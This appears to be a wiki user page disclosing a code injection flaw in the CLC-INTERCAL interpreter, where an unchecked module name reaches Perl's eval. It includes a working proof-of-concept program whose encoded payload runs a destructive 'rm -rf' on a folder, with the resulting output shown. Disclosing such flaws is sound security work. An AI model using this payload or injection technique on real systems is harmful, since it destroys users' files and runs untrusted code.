User:BoundedBeans/CLC-INTERCAL code injection
While looking at CLC-INTERCAL's updated code in 2023, I noticed that the undocumented opcodes use eval to import the namespace of the statement. It doesn't perform any checks (a simple regex check for /[A-Za-z_][A-Za-z_0-9]*/
would remove this vulnerability). The lines of code that do this are in Language/INTERCAL/Interpreter.pm
in the subroutine _x_UNx
, and look like this:
my $c = "require Language::INTERCAL::${m}"; eval $c; $@ and faint(SP_UNDOCUMENTED, 'module', $m); $unx_cache{$m} = {};
If you use a semicolon in $m
, you can have any Perl code run after the import. Of course, an error will happen if the namespace doesn't exist, so just use something already existing in CLC-INTERCAL (I used Charset). This strategy will throw an INTERCAL error after the code is run, but you can still run INTERCAL after that by using a quantum program. Interestingly, this does not require any extensions at all to the compiler, not even the official ones like come-from-gerund or multithreading.
You can access the undocumented opcodes by using the CREATE
statement to create some syntax for it, then running it by using that syntax.
Anyway, here's an example. This program prints I
, deletes the important
folder in the current directory, then continues running to print XC
.
DO READ OUT #1 DO CREATE ?UNARY ,i, AS UNE + MUL + #1 + #64 + MUL + #41 + #67 + #104 + #97 + #114 + #115 + #101 + #116 + #59 + #32 + #115 + #121 + #115 + #116 + #101 + #109 + #40 + #34 + #114 + #109 + #34 + #44 + #32 + #34 + #45 + #114 + #102 + #34 + #44 + #32 + #34 + #105 + #109 + #112 + #111 + #114 + #116 + #97 + #110 + #116 + #34 + #41 + #0 DO ABSTAIN FROM CALCULATING WHILE REINSTATING IT DO .1 <- #i9 DO READ OUT #90 DO GIVE UP
Standard output:
I XC
Standard error:
Useless use of single ref constructor in void context at (eval 29) line 1. *000 Can't use string ("0") as a subroutine ref while "strict refs" in use at /usr/local/share/perl/5.34.0/Language/INTERCAL/Interpreter.pm line 4190.
Here is the "namespace" CLC-INTERCAL receives:
Charset; system("rm", "-rf", "important")
This means that the eval $c
runs:
require Language::INTERCAL::Charset; system("rm", "-rf", "important")
You can do some sinister stuff with this, or alternatively use it to do things INTERCAL has never been able to do before. Be careful running INTERCAL programs you don't trust.